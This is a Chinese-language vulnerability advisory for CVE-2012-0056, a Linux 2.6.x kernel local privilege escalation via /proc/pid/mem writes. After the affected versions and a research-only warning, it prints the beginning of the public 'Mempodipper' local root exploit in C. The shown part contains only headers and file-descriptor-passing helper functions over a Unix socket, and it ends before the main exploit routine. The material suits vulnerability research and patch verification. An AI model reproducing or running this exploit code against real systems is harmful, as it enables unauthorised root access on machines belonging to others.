发布日期:2012-01-23
更新日期:2012-02-02
受影响系统:
Linux kernel 2.6.x
不受影响系统:
Linux kernel 2.6.38
Linux kernel 2.6.26
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 51625
CVE ID: CVE-2012-0056
Linux是自由电脑操作系统内核。
Linux Kernel在SUID /proc/pid/mem write的实现上存在本地权限提升漏洞,攻击者可利用此漏洞获取提升的权限,以内核级别执行任意代码。
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Juri Aedla ()提供了如下测试方法:
/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post:
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/
#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
int n;
int sock;
char cms[CMSG_SPACE(sizeof(int))];
if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}
int recv_fd()
{
int listener;
int sock;
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
char cms[CMSG_SPACE(sizeof(int))];
if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
unlink(socket_path);
if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
if (listen(listener, 1) < 0)
return -1;
if ((sock = accept(listener, NULL, NULL)) < 0)
return -1;
iov.iov_base = buf;
iov.iov_len = 1;
memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms;
if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
close(listener);
return fd;
}